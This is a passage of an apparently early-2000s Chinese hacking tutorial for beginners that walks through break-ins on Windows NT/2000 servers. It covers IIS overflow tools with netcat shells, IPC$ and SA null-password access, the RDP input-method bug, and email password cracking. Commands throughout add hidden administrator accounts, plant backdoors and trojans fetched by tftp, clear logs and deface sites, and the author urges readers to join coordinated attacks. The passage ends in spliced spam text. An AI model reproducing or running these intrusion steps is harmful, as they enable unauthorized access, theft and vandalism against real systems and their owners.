japanese win2ksp1: 8
japanese win2ksp2: 9
korea win2k : 10
korea win2ksp1: 11
korea win2ksp2: 12
chinese nt sp5 : 13
chinese nt sp6 : 14

c:/idahack 127.0.0.1 80 1 80
connecting...
sending...
Now you can telnet to 80 port
Good luck ?;
好，現在你可以telnet它的80端口了，我們用NC來連接。
C:/nc 127.0.0.1 80

Microsoft Windows 2000 [Version 5.00.2195]
（C）版權所有 1985-1998 Microsoft Corp
C:/WINNT/system32>
OK，現在我們現在上來了，也可IDQ一樣是SYSTEN權限，盡情的玩吧。

（5）.printer漏洞
這個漏洞，我們用兩個程序來入侵。iis5hack和nc。
C:/>iis5hack
iis5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack,

usage: D:/IIS5HACK.EXE
用法: D:/IIS5HACK <溢出的主機> <主機的端口> <主機的類型> <溢出的端口>
chinese edition:   0
chinese edition, sp1: 1
english edition:   2
english edition, sp1: 3
japanese edition:   4
japanese edition, sp1: 5
korea edition:   6
korea edition, sp1: 7
mexico edition:   8
mexico edition, sp1: 9

c:/>iis5hack 127.0.0.19 80 1 119
iis5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack,
Listn: 80

connecting...
sending...
Now you can telnet to 3739 port
good luck

溢出成功！
c:/>nc 127.0.0.19 119
http://www.sunx.org

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.

C:/WINNT/system32>

OK，我們又成功取得system權限！玩吧。

（6）139端口入侵
我們先確定一臺存在139端口漏洞的主機。用掃描工具掃描！比如SUPERSCAN這個端口掃描工具。假設現在我們已經得到一臺存在139端口漏洞的主機，我們要使用nbtstat -a IP這個命令得到用戶的情況！現在我們要做的是與對方計算機進行共享資源的連接。
用到兩個NET命令，下面就是這兩個命令的使用方法
NET VIEW?
作 用：顯示域列表、計算機列表或指定計算機的共享資源列表。?
命令格式：net view [//computername | /domain[:domainname]?
參數介紹：?
<1>鍵入不帶參數的net view顯示當前域的計算機列表。?
<2>//computername 指定要查看其共享資源的計算機。?
<3>/domain[:domainname]指定要查看其可用計算機的域?

NET USE?
作用：連接計算機或斷開計算機與共享資源的連接，或顯示計算機的連接信息。?
命令格式：net use [devicename | *] [//computername/sharename[/volume]?
[password | *] [/user:[domainname/]username] [/delete] |?
[/persistent:{yes | no]}?
參數介紹：?
鍵入不帶參數的net use列出網絡連接。?
devicename指定要連接到的資源名稱或要斷開的設備名稱。?
//computername/sharename服務器及共享資源的名稱。?
password訪問共享資源的密碼。?
*提示鍵入密碼。 /user指定進行連接的另外一個用戶。?
domainname指定另一個域。?
username指定登錄的用戶名。?
/home將用戶連接到其宿主目錄?
/delete取消指定網絡連接。?
/persistent控制永久網絡連接的使用。?
C:/net use //IP
C:/net view //IP
我們已經看到對方共享了他的C，D，E三個盤
我們要做的是使用NBTSTAT命令載入NBT快取.
c:/>nbtstat –R 載入NBT快取
c:/>nbtstat –c 看有無載入NBT快取
現在我們已經得到的139端口漏洞的主機IP地址和用戶名，現在就該是我們進入他計算的時候了，點擊開始---查找--計算機，將剛才找到的主機名字輸入到上面，選擇查找，就可以找到這臺電腦了！雙擊就可以進入，其使用的方法和網上領居的一樣。

（7）IPC入侵
所有程序：流光
開始：在主界面選擇 探測→探測POP3/FTP/NT/SQL主機選項，或者直接按Ctrl+R。輸入我們要破解的IP段，我們把“將FrontPage主機自動加入HTTP主機列表取消了”。因為我們只想獲得IPC弱口令，這樣可以加快掃描的速度 ：）填入IP，選擇掃描NT/98主機。在“輔助主機”那里的“IPC$主機”前面打勾,然后在菜單了選“探測”，，掃描出結果以后，“IPC$主機”，選中后按“CTRL+F9”就開始探測IPC用戶列表。會出現“IPC自動探測”
的窗體，把那兩個選項都選了，然后點“選項” 為了加快弱口令掃描速度，這里的兩個選項我們可以全部取消記住。然后點“確定”出來后點“是”就開始探測了。一會兒，結果出來了。比如我們探測出了用戶名為“admin”的管理員，密碼為“admin”，現在我們用命令提示符，熟悉下命令吧，輸入:
net use　file://對方ip/ipc$ "密碼"　/user:"用戶名" || 建立遠程連接
copy icmd.exe file://對方ip/admin$ 　 ||　admin$是對方的winnt目錄
net time file://對方IP/       ||　看看對方的本地時間
at file://對方ip/ 啟動程序的時間　啟動程序名 啟動程序的參數   ||　用at命令來定時啟動程序
telnet 對方ip　端口

我們也可以改網頁：
net use //ip/ipc$ "admin" /uesr:"admin" 回車。
出現“命令成功完成”。
然后輸入“dir //ip/c$/*.*”
看到C:下所有內容?，F在我們來改主頁。一般主頁放在c:/inetpub/wwwroot里面
輸入“dir //ip/c$/inetpub/wwwroot/*.*”。就可以看到index.htm或index.asp或default.htm或 default.asp.這些就是主頁了，假如你黑頁在C:下，就輸入"copy 主頁文件 //ip/c$/inetpub/wwwroot"覆蓋原文件這樣就行了，簡單吧？

日志清除，斷開連接 ：
我們copy cl.exe ，clear.exe 上去，再執行，就可以清除日志，比如clear all ：清除所有的日志。然后在斷開連接：net use file://ip/ipc$ /delete

（8）超管SA空密碼漏洞
使用的工具:流光IV
啟動流光，按Ctrl+R。出現掃描設置對話框，設置掃描IP段，并且選擇掃描的類型為SQL。點擊“確定”，進行掃描，假設我們取得主機：127.0.0.1，然后點擊“工具” —— SQL遠程命令（或者Ctrl+Q），填入主機IP（127.0.0.1）、用戶（sa）、密碼（空）點擊“連接”，出現遠程命令行的界面。
net user heiying heiying1 /add     填加一個heiying的帳號和密碼heiying1
net localgroup administrators heiying /add 將我們創建的heiying帳號填加到管理組。
下面我們來做跳板：
打開cmd.exe,輸入net use //127.0.0.1/ipc$ "heiying1" /user:"heiying"命令
顯示命令成功完成。
上傳srv.exe：
copy srv.exe //127.0.0.1/admin$/system32
上傳ntlm.exe：
copy ntlm.exe //127.0.0.1/admin$/system32
啟動服務：
首先用net time //127.0.0.1
看看對方主機的時間,(假如回顯//127.0.0.1 的本地時間是上午12.00)，然后我們用at //2127.0.0.1 12.01 srv.exe命令來啟動srv.exe。等一分鐘后就可以telnet了。
一分鐘后在本機命令提示符中輸入：
telnet Ｘ.Ｘ.Ｘ.Ｘ 99
然后我們要啟動NTLM.exe：
在telnet狀態下直接輸入ntlm回車。
顯示：windows 2000 telnet dump,by assassin,all rights reserved.done!
然后從新啟動對方主機的telnet服務：net stop telnet（先關閉telnet服務）再輸入net start telnet（啟動telnet服務）然后我們退出telnet，然后在命令行下輸入telnet 127.0.0.1,依照提示,接著輸入用戶名：heiying,密碼：heiying1，回車。這樣,我們的跳板就做好了，簡單吧？
（上面上傳的srv和ntlm等東東還有一個簡便方法，全都可以直接用流光工具菜單里的種植者上傳，60秒后自動運行，不用敲命令！呵呵~~~~方便吧！）

（9）如何用流光破解信箱密碼
這次的目標是21CN，運行流光IV，選擇POP3主機----右鍵----編輯----添加，填上：pop.21cn.com，其他的就用默認吧！不用更改，確定就行了。到下一步，還是右鍵-----從列表中添加------選擇一個字典，沒有的到網上下載一個字典，或者到黑白網絡去下載，我們用簡單模式探測！這樣速度比較快，然后就等著成果吧，上次我以下就破了5個郵箱出來。

（10）frontpage進行攻擊
打開您自己的Frontpage，文件菜單下選擇“打開站點”，然后在文件夾框里寫入http://127.0.0.1（http://不要漏掉）。按下“打開”按鈕，一會后，出現了文件夾，成功了，現在就可以操作網頁文件了。如果跳出錯誤信息，表示有密碼，我們用以下http://127.0.0.1/_vti_pvt/service.pwd,這是默認的密碼文件，下載下來，找個解密器破密碼吧！破出來后就還可以改網頁。這個只能改該網頁，沒什么玩的。

（11）用肉雞做ＳＯＣＫ５代理跳板
需要軟件：srv.exe，ntlm.exe，snakeSksockserver.exe，SocksCap.exe。
首先我們在命令提示符下建立IPC$管道：
net use //127.0.0.1/ipc$ "密碼" /user:帳號
通道建立好后，我們把srv.exe sss.exe ntlm.exe全部上傳。
c:/copy srv.exe //10.10.10.10/admin$
1 files copied!
c:/copy ntlm.exe //10.10.10.10/admin$
1 files copied!
c:/copy sss.exe //10.10.10.10/admin$
1 files copied!
復制完畢后，
看肉雞上現在的時間：
c:/net time //127.0.0.1
顯示當前時間是 2002/4/13 晚上 09：00
我們來啟動srv.exe
c:/at //127.0.0.1 09:01 srv.exe
等到09：01后。我們來連接肉雞：
c:/telnet 127.0.0.1 99
連上后顯示：
c:/winnt/system32>
接著我們啟動NTLM.exe
c:/winnt/system32>ntlm
顯示：
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done!
C:/WINNT/system32>
首先我們終止srv.exe的telnet服務：
C:/WINNT/system32>net stop telnet
繼續：
C:/WINNT/system32>net start telnet
再啟動TELNET。
OK，我們來登陸
c:>telnet 127.0.0.1
*==========================================================
Microsoft Telnet
*==========================================================
c:>
好了，一切順利，我們現在正式開始做代理：
c:>sss.exe -install <---------開始安裝
顯示：
c:>sksockserver installed!
來看看配置：
c:>sss -config show
顯示：
SkServer Port = 1813   <----開放服務的端口 ,我們記著這個1813端口哦
SkServer StartType: 3 - Manual   <---服務啟動方式
SkServer Enable Client Set Num:0   <---客戶端的項目個數
SkServer Pass SkServer Number:0   <---經過SkServer的項目個數

來啟動服務：
c:>net start skserver
提示你正在啟動，并且完成。
來檢查一下是不是啟動了：
c:>net start         <-----------看看啟動的服務列表
These Windows 2000 services are started:

Print Spooler
Server
Snake SockProxy Service <---------------就是它，呵呵!
System Event Notification
TCP/IP NetBIOS Helper Service
Telephony
Telnet
The command completed successfully.

c:>_
好了，到這里我們已經做好了一個socks5代理了，我們自己的哦.OK，下面我們用sockscap來使用我們做代理。
安裝好SocksCap后，我們在桌面上打開SocksCap V2，點開File選項選Settings...彈出卡片，在 SOCKS Server里面我們填肉雞的IP：127.0.0.1，PortT填默認的1813端口，下面的我們選socks version 5，呵呵，和 Attempt local then remot,這是域名解析的順序，先本地，然后才遠程。設置完了點“確定”我們就可以使用了，添加應用程序到sockscap里面，點開那個"new"按鈕，會彈出一個卡片，
Profile name ：程序名，隨便寫。
Command Line: 命令行，點后面的Browse...找到你的程序路徑
Working:填好上面那個，這個就自動加上.
這樣我們就把程序加到SocksCap里面了。
現在們可以雙擊里面的程序來使用，也可以選住程序在點"Run"來運行。

好了，終于寫完了，上面的內容都很簡單，很適合初學者，還望高手們不好見笑，剛好聽說這次5.1有很多聯盟有所行動，希望上面的內容能教會一部分人，少走彎路，讓更多的人參與這次行動。UNIX和LINUX由于自己的功力也還不夠，還差很遠，所以還不敢寫。

利用WIN2000的輸入法漏洞在別人機子上跳舞
下面我來講講如何利用輸入法漏洞遠程入侵開了終端服務的windows 2000的機器：

首先我們確定某臺機器的3389端口是開放的：

D://Nmapnt>nmapNT.exe -sS -p 3389 xxx.xxx.xxx.xxx

Starting nmapNT V. 2.53 by ryan@eEye.com

eEye Digital Security ( http://www.eEye.com )

based on nmap by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on FGF-DELL4300 (xxx.xxx.xxx.xxx):

Port State Service

3389/tcp open msrdp

Nmap run completed -- 255 IP addresses (93 hosts up) scanned in 542 seconds

D:/TOOLS/nmapNT/Nmapnt>

現在我們已經可以看到這臺機器的終端服務是開放的，那么我們就可以開始行動了。

打開終端服務客戶端，添上IP地址，選擇連接。

稍等片刻，一般是很快的，就會出現熟悉的登陸對話框了，這是我們看看有沒有輸入法的漏洞。有關輸入法的漏洞請參看相關文章。如果有輸入法漏洞那么我們如何取得控制權呢？經過多次的研究試驗。終于想出了一個辦法。我們發現在跳至url后，我們雙擊winnt目錄下的explorer.exe并沒什么反應（是機上已經運行了，可是我們為什么看不到結果呢？），如果我們不斷的進行雙擊，或者什么也不做，一會兒連接將被斷開，在斷開的一霎那，我們似乎看到了我們雙擊出來的窗口。經過幾次試驗，我們發現不登陸進去是不行的，將會被服務端斷開。于是想辦法先登陸進去，我想到了在幫助中打開用戶管理器，經過試驗，在跳至url中添入：mk:@MSITStore:C:/WINNT/Help/TSHOOTconcepts.chm::/where_usermgr.htm

在右側會出現一個可以打開本地用戶和組的管理器的鏈接，本來在正常情況下是可以打開這個管理器的，

可是在沒有登陸進去的時候就是出不來，于是想另外的辦法。終于想到了建立一個命令行的快捷方式。在跳

至url中輸入：c:/winnt/system32，然后找到net.exe，右鍵點擊net.exe，選擇創建快捷方式，于是創建了

一個文件名為快捷方式net.lnk的文件，然后再右鍵點擊這個快捷方式，選擇屬性，這時我們就可以輸入我們

的命令了。在目標中添入我們要執行的命令的路徑和參數就行了，我們還是用net命令，因此不必改路徑了，

添加個賬號test的命令如下，C:/WINNT/system32/net.exe user test/add。密碼為空。然后雙擊這個快捷方

式運行它。然后我們把這個賬號添加到administrators組中，

C:/WINNT/system32/net.exe localgroup administrators test/add。OK!再運行。我們現在已經基本上成功了，

關掉幫助窗口，用test賬號登陸，密碼為空。進去后我們把剛才建的快捷方式刪掉。然后再將本地用戶的

TSinternetuser賬號加進administrators組中，設置密碼。這樣我們下次就可以用這個賬號進來了。然后

再用這個賬號登陸一下，如果能夠登陸，就刪掉剛剛建立的test賬號。

這臺機器就這樣控制在我們的手里了。。。。。。

方法二：

其過程如下：

1.掃描 3389 port 終端服務默認；

2.用終端客戶端程序進行連接；

3.按ctrl+shift調出全拼輸入法（其他似乎不行），點鼠標右鍵（如果其幫助菜單發灰，就趕快趕下家吧，人家打補丁了），點幫助，點輸入法入門；

4.在"選項"菜單上點右鍵--->跳轉到URL"，輸入：c:/winnt/system32/cmd.exe.（如果不能確定NT系統目錄，則輸入：c:/ 或d:/ ……進行查找確定）；

5.選擇"保存到磁盤" 選擇目錄：c:/inetpub/scripts/，因實際上是對方服務器上文件自身的復制操作，所以這個過程很快就會完成；

6.打開IE，輸入：http://ip/scripts/cmd.exe?/c dir 怎么樣？有cmd.exe文件了吧？這我們就完成了第一步；

7.http://ip/scripts/cmd.exe?/c echo net user guest /active:yes>go.bat

8.http://ip/scripts/cmd.exe?/c echo net user guest elise>>go.bat

9.http://ip/scripts/cmd.exe?/c echo net localgroup administrators /add guest>>go.bat

10.http://ip/scripts/cmd.exe?/c type go.bat 看看我們的批文件內容是否如下：

net user guest /active:yes

net user guest elise

net localgroup administrators /add guest

11.在"選項"菜單上點右鍵--->跳轉到URL"，輸入：c:/inetpub/scripts/go.bat --->在磁盤當前位置執行；

12.呵呵，大功告成啦，這樣我們就激活了服務器的geust帳戶，密碼為：elise，超級用戶呢！ （我喜歡guest而不是建立新帳戶，這樣似乎不易被發現些），這樣你就可用IPC$連接，想怎樣做就怎樣做了，當然，你也可用guest直接登陸到他的服務器，到他機器上去跳舞吧：）

方法三：

用端口掃瞄程序掃IP的3389端口，得到xx.xx.xx.xx。

　 2、運行windows2000終端客戶程序，在服務器輸入框里填入：xx.xx.xx.xx ，連接。

　 3、出現windows2000的登陸窗口，按下CTRL+SHIFT鍵，出現全拼輸入法。

　 4、在輸入法狀態條上按mouse右鍵，選擇幫助，選擇輸入指南，選擇"選項"按右鍵。

　 5、選擇"跳轉到URL"，輸入：c:/winnt/system32/cmd.exe.

　 6、選擇"保存到磁盤"。

　 7、選擇目錄：c:/inetpub/scripts/

　 8、打開IE，輸入：xx.xx.xx.xx/scripts/cmd.exe?/c+dir+c:/ （知道了吧）

　 9、輸入：xx.xx.xx.xx/scripts/cmd.exe?/c+echo+BEIJING+>c:/inetpub/wwwroot/default.asp

10。OK

一次簡單入侵
又是一個休息日，閑得無聊，打開電腦，看了幾大門戶站的八卦新聞，愈看愈覺就得沒勁。做點啥趣事呢？有了！前幾天一OICQ聊友叫我幫忙搞定一主機，一直懶得搞，那么現在就去找找這主機的晦氣吧。
看看這主機是否是網站先，用IE打開它的IP：61。170。168。168，出現“該頁無法顯示”。看來這主機還沒WEB網頁。祭起我的“X-SCAN”寶刀，全面掃描一下它的各種漏洞，我就不信他沒有漏洞?。ㄍ婧诒貍湟唬貉劬﹂L到頭頂上）
X-SCAN掃描結果報告：
“端口開放：1433、3389
ASP 漏洞：don't find CGI漏洞： don't find IIS漏洞don't find……，SQL：SA /NULL”
呵呵，大局已定，大家看到了有哪些漏洞嗎？什么，你不懂鳥語？哇噻，你先去補習鳥語再到我這來！對了，我們的白靈、流二位大蝦精通由各種亂碼加鳥語組成的火星ASP語言，聽說二位不日將移民火星，你趁他們還在地球快去拜師學藝啊！
再接著賣我的黃婆爛瓜……
3389——我得最愛！利用遠程主機打開的遠程控制功能（通過3389連接）進入它的WINDOWS圖形界面，這種感覺對我等菜鳥來說可不是DOS破界面能比的哦~~
廢話少說，打開我的“WINDOW2000遠程客戶程序”，填IP、點“聯接”~~??？連不上！再連~~還是不行！55555……輸入法漏洞是玩不成了。
一招不行再換一招！點根煙先……打開“天行網絡”所制的精品軟件——SQLEXEC，填上IP，用戶名：SA，密碼為空，點“連接”---“：（連接成功！”
進來了，談笑間我就進來了，我真厲害~~（玩黑必備二：自夸不怕嚇死人）。先看看它的C盤的文件：DIR C：，OK！這機子裝的是WINNT，怪不得我用WIN2000的遠程客戶程序連不上，可是它怎么會打開WIN2000的遠程連接用端口-3389端口呢？
算了，越想越亂，忙我的正事吧。
為安全起見，讓我看看它建立了哪些連接進程：“netstat -n”……哈，反饋回來的信息都是一些196開頭的IP，沒開TTY監聽，這該不會是個局域網的服務器吧？
再來看看我現在的權限有多少：“net user aaa 1234 /add”－－－“成功建立新用戶”。呵呵，權限還不小，能建新用戶哦~~由于我機子用的是WIN98，所以沒法用這新建的用戶名為AAA，密碼為1234的帳戶進行連接，這帳戶對我來說根本
沒用……
現在，我們即將開始取得遠程主機的最最最……大權限！啥？你不信？呵呵，說你菜你還不高興，聽說過木馬嗎？聽說過大名鼎鼎專玩木馬的“符號”大蝦嗎？哦，你不知木馬只知符大蝦……行，趕明兒我讓符大蝦在你機子里也放個木馬，這樣你就
能深刻理解啥叫木馬了~~
繼續攻擊……我們現在就要上傳個木馬到遠程主機。木馬“廣外女生”現在國內很流行，前幾天也曾去黑網下栽了一個，它的被控端程序才90K，上傳比較容易，就用它做遠程主機的“后門”吧。1。打開TFTP（一個能把你的PC變成FTP服務器的小程序）——
2。把“廣外女生”的被控端程序gw.exe復制到我的C盤TFTP默認文件路徑下。3。在遠程主機里輸入命令："tftp -i xx.xx.xx.xx get gw.exe c:/gw.exe"
5分鐘后，GW。EXE已乖乖在躺在遠程主機的C盤里了~~~
現在，得想法子運行GW。EXE：1。打入命令"net time"---遠程主機反饋當前時間"09:35"。 2.打入程序起動時間命令"at 09:37 c:/gw.exe"（GW在9：37運行）——出現主機反應：“建立一個新任務，ID=1”
OK！二分鐘后將運行我的“廣外女生”了！
打開我的“廣外”控制端程序，在主機查找欄里填上“61.170.168.160---61.171.168.170”，點“查找”。掃描很慢……別急……掃完了……??？！在這掃描的IP端里無中“獎”主機！怪事?。∈沁h程主機的“廣外”沒有運行還是我對這控制端程序的操
作錯誤？一定是這破“廣外”本身程序不行，太爛了~~（玩黑必備三：一切都不是我的錯?。?br /> 看來，今天我只得請出封存已久的國貨精品木馬——“冰河”了。我的“冰河2。2”的被控端有200多K，估計上傳時間會很久，但如果上傳成功，它的功能可不是“廣外”所能與之并論的?。×硗?，對冰河的界面操作也不會似“廣外”那亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb